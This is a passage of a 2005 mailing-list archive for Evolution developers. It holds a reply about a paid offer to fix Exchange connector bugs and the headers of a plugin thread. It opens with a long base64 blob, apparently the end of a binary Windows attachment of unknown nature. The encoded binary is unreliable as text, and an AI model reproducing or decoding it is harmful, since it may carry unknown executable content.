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 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAgADAAAAIAAAgA4AAACQAACAAAAAAAAAAAAAAAAAAAACAAEAAABAAACAAgAAAGgA AIAAAAAAAAAAAAAAAAAAAAEAAAAAAFgAAADQ8AAAMAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAABAAAAAACAAAAAAPIAAOgCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQABAAAAqAAAgAAA AAAAAAAAAAAAAAAAAQAAAAAAwAAAAOj0AAAiAAAAAAAAAAAAAAAoAAAAIAAAAEAAAAABAAEA AAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///wAAAAAAAAAAAD///gAwwYYAP//+ADDn hgA6y6YAPMGOAD///vwwwYaEP//+/DjjBoQww1b8OuuuhDjjjvw///6EAAAA/D///oQAAAD8 AAD/hAAA//wAAAAAAMD//AEoAAABAAAAASgAAADAAAAAAAAAAAAAAAP//8AAAAAAAAAAAP// //+AAAD/gAAA/4AAAP+AAAD/gAAA/4AAAP+AAAABgAAAAYAAAAGAAAABgAAAAYAAAAGAAAAB gAAAAYAAAAGAAAABgAAAAYAAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAB/4AAAf+AAAH/gA AB/4AAAf+AAAH/gAAB//////KAAAACAAAABAAAAAAQAEAAAAAACAAgAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAIAAAIAAAACAgACAAAAAgACAAICAAACAgIAAwMDAAAAA/wAA/wAAAP//AP8A AAD/AP8A//8AAP///wAAAAAAAAAAAAAAAAAAAAAAB3d3d3d3d3d3d3d3AAAAAAAAAAAAAAAA AAAABwAAAAAP/////////////wcAAAAAD/AAD/AAAP8AAP8HAAAAAA//////////////BwAA AAAP9VUP/wD//wAA/wcAAAAAD/8PX/ALD/8OwP8Hd3d3cA//9Q/wAAD/AAD/AAAAAHAP//// /////////wj///BwD/AAD/AAAP8AAP8IAADwcA//////////////CP//8HAP9wAP/wAP8AAA /wgAAPBwD/AAD/AAD/B3AP8I///wcA//Dw//Bg//fA//CAAA8HAP/wAP/wAP/3cP/wj///Bw D/////////////8IAADwcAAAAAAAAAAAAAAACP//8HAO7u7u7u7u7u7u7ggAAPBwAAAAAAAA AAAAAAAP///wcAAABMTExMQP/////wAA8HAAAAxMTExMD/////////BwAAAExMTExAAAAAAA AAAAcAAADE/8TEwO7u7u7u7u4AAAAAT0z8/EAAAAAAAAAAAAAAAM/ExMTExMTExMQHAAAAAA BPTPz8TExMTExMBwAAAAAAxP/ExMTExMTExAcAAAAAAExMTExMTExMTEwHAAAAAAAAAAAAAA AAAAAABwAAAAAA7u7u7u7u7u7u7gcAAAAAAAAAAAAAAAAAAAAAAAAP////+AAAD/AAAA/wAA AP8AAAD/AAAA/wAAAP8AAAABAAAAAQAAAAEAAAABAAAAAQAAAAEAAAABAAAAAQAAAAEAAAAB AAAAAQAAAAEAAAAB8AAAAfAAAAHwAAAB8AAAA/AAAAPwAAAf8AAAH/AAAB/wAAAf8AAAH/AA AB/wAAA/AAABAAIAICACAAEAAQAwAQAAAQAgIBAAAQAEAOgCAAACAA9TRpO3jomQWx2zYTIG mIKHLloYU4Waq1kZxUOPdwoZxV0/w307IEEzFxEsb0ogwIu+tAQVBgAHdGZassBRvy+xV5XB OnwZU5OPTlSQjsRQWpq5IbVHAhUPQi6xfVBOvm4XxkRYLpF9U0YtCr22sBgJErEubiGnFGVE ZQ6pIYBztwC3PmYdTLVWfgQfpJw3EpEBg1yEWptOEWRdNx4wlzEJPLWFo6Oaa3RKLqpAEEYX sD98iZWBToaIxUBTXRVxuxu2q5pxIakbOA== ----------vhlhfodqfrrwzyzwayos-- From owner-evolution-hackers@skeptopotamus.ximian.com Thu Feb 10 16:48:37 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id BE1DE124FA8; Thu, 10 Feb 2005 16:48:29 -0500 (EST) Received: from skeptopotamus.ximian.com (skeptopotamus.ximian.com [130.57.169.16]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client CN "mail.cam.novell.com", Issuer "Equifax" (not verified)) by lists.ximian.com (Postfix) with ESMTP id 83CDF124FC8 for ; Thu, 10 Feb 2005 16:47:05 -0500 (EST) Received: by skeptopotamus.ximian.com (Postfix) id 1B77663A6A; Thu, 10 Feb 2005 16:41:19 -0500 (EST) Delivered-To: evolution-hackers@ximian.com Received: from lyle.provo.novell.com (lyle.provo.novell.com [137.65.81.174]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client CN "imap.novell.com", Issuer "SERVICES2" (not verified)) by skeptopotamus.ximian.com (Postfix) with ESMTP id CAFBC64716 for ; Thu, 10 Feb 2005 16:41:18 -0500 (EST) Received: from [192.168.1.100] ([137.65.81.216]) by lyle.provo.novell.com; Thu, 10 Feb 2005 14:41:07 -0700 Subject: Re: [Evolution-hackers] Looking for evolution-exchange developers... From: Christine McLellan To: Juraj Holtak Cc: evolution In-Reply-To: <1107948205.6935.12.camel@localhost> References: <1106914234.16399.349.camel@linux.site> <41FE3664.5030401@sun.com> <1107254982.12881.18.camel@linux.site> <4202387C.2010907@sun.com> <1107492539.21175.16.camel@linux.site> <005201c50cdc$70da4ba0$0301a8c0@executivesontheweb.local> <1107861287.20489.45.camel@linux.site> <1107948205.6935.12.camel@localhost> Content-Type: multipart/alternative; boundary="=-UlT+4YcfROAayPIRAnWM" Date: Thu, 10 Feb 2005 16:40:57 -0500 Message-Id: <1108071657.12192.28.camel@linux.site> Mime-Version: 1.0 X-Mailer: Evolution 2.0.3 X-Spam-Status: No, hits=-18.1 required=5.0 tests=ASCII_FORM_ENTRY,BAYES_30,EMAIL_ATTRIBUTION,HTML_20_30, IN_REP_TO,QUOTED_EMAIL_TEXT,RCVD_IN_ORBS, RCVD_IN_OSIRUSOFT_COM,REFERENCES,REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: --=-UlT+4YcfROAayPIRAnWM Content-Type: text/plain Content-Transfer-Encoding: 7bit Juraj -- Sorry to hear that your company is having trouble, but it is great to hear you are willing to help with product improvement this way. Have you been submitted the bugs you are finding at bugzilla.ximian.com under the Connector component? What version of Evolution and the Exchange Connector are you using? Thanks! -Christine On Wed, 2005-02-09 at 12:23 +0100, Juraj Holtak wrote: > Hi List! > > My Company is willing to PAY an evolution and evolution-exchange hacker > to fix bugs. We have many installations of debianised evolution in a MS > Exchange enviroment and the bugs pop up faster than they are getting > fixed in the debian repository. If u have the will and know-how, please > email me. > This is a serious offer. > > Juraj Holtak > SCHWAAR.COM > Austria > > > > > _______________________________________________ > evolution-hackers maillist - evolution-hackers@lists.ximian.com > http://lists.ximian.com/mailman/listinfo/evolution-hackers --=-UlT+4YcfROAayPIRAnWM Content-Type: text/html; charset=utf-8 Content-Transfer-Encoding: 7bit Juraj -- Sorry to hear that your company is having trouble, but it is great to hear you are willing to help with product improvement this way. 

Have you been submitted the bugs you are finding at bugzilla.ximian.com under the Connector component?  What version of Evolution and the Exchange Connector are you using? 

Thanks!
-Christine


On Wed, 2005-02-09 at 12:23 +0100, Juraj Holtak wrote: 
Hi List!

My Company is willing to PAY an evolution and evolution-exchange hacker
to fix bugs. We have many installations of debianised evolution in a MS
Exchange enviroment and the bugs pop up faster than they are getting
fixed in the debian repository. If u have the will and know-how, please
email me.
This is a serious offer.

Juraj Holtak
SCHWAAR.COM
Austria




_______________________________________________
evolution-hackers maillist  -  evolution-hackers@lists.ximian.com
http://lists.ximian.com/mailman/listinfo/evolution-hackers
--=-UlT+4YcfROAayPIRAnWM-- From smurfd@smurfnet.homelinux.net Fri Feb 11 13:57:09 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 9C882124764; Fri, 11 Feb 2005 13:57:09 -0500 (EST) Received: from mxfep02.bredband.com (mxfep02.bredband.com [195.54.107.73]) by lists.ximian.com (Postfix) with ESMTP id A30BB1242E5 for ; Fri, 11 Feb 2005 13:56:55 -0500 (EST) Received: from smurfnet.homelinux.net ([213.112.73.81] [213.112.73.81]) by mxfep02.bredband.com with ESMTP id <20050211185653.BHWN17521.mxfep02.bredband.com@smurfnet.homelinux.net>; Fri, 11 Feb 2005 19:56:53 +0100 Received: from 192.168.1.1 ([192.168.1.1] helo=192.168.1.5) by smurfnet.homelinux.net with asmtp (Exim 4.34) id 1CzhZu-00016u-8d; Fri, 11 Feb 2005 21:39:50 +0100 Subject: Re: [Evolution-hackers] EPlugin, export mail folder, Update! From: smurfd To: Not Zed Cc: evolution-hackers@lists.ximian.com In-Reply-To: <1106619154.23363.3.camel@lostzed.mmc.com.au> References: <1099011143.1019.11.camel@localhost.localdomain> <1100789458.15224.9.camel@localhost.localdomain> <1100836172.10838.127.camel@lostzed.mmc.com.au> <1100982290.16626.47.camel@localhost.localdomain> <1101095738.8961.19.camel@lostzed.mmc.com.au> <1101225710.23468.50.camel@localhost.localdomain> <1101259289.4648.26.camel@lostzed.mmc.com.au> <1103078190.6171.37.camel@localhost.localdomain> <1103503793.7539.72.camel@lostzed.mmc.com.au> <1106106356.24483.14.camel@localhost.localdomain> <1106108732.28087.28.camel@lostzed.mmc.com.au> <1106187210.1353.23.camel@localhost.localdomain> <1106619154.23363.3.camel@lostzed.mmc.com.au> Content-Type: text/plain Date: Fri, 11 Feb 2005 19:55:43 +0100 Message-Id: <1108148144.22547.14.camel@192.168.1.5> Mime-Version: 1.0 X-Mailer: Evolution 2.1.5 Content-Transfer-Encoding: 7bit X-Spam-Status: No, hits=-4.3 required=5.0 tests=BAYES_30,IN_REP_TO,RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM, REFERENCES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 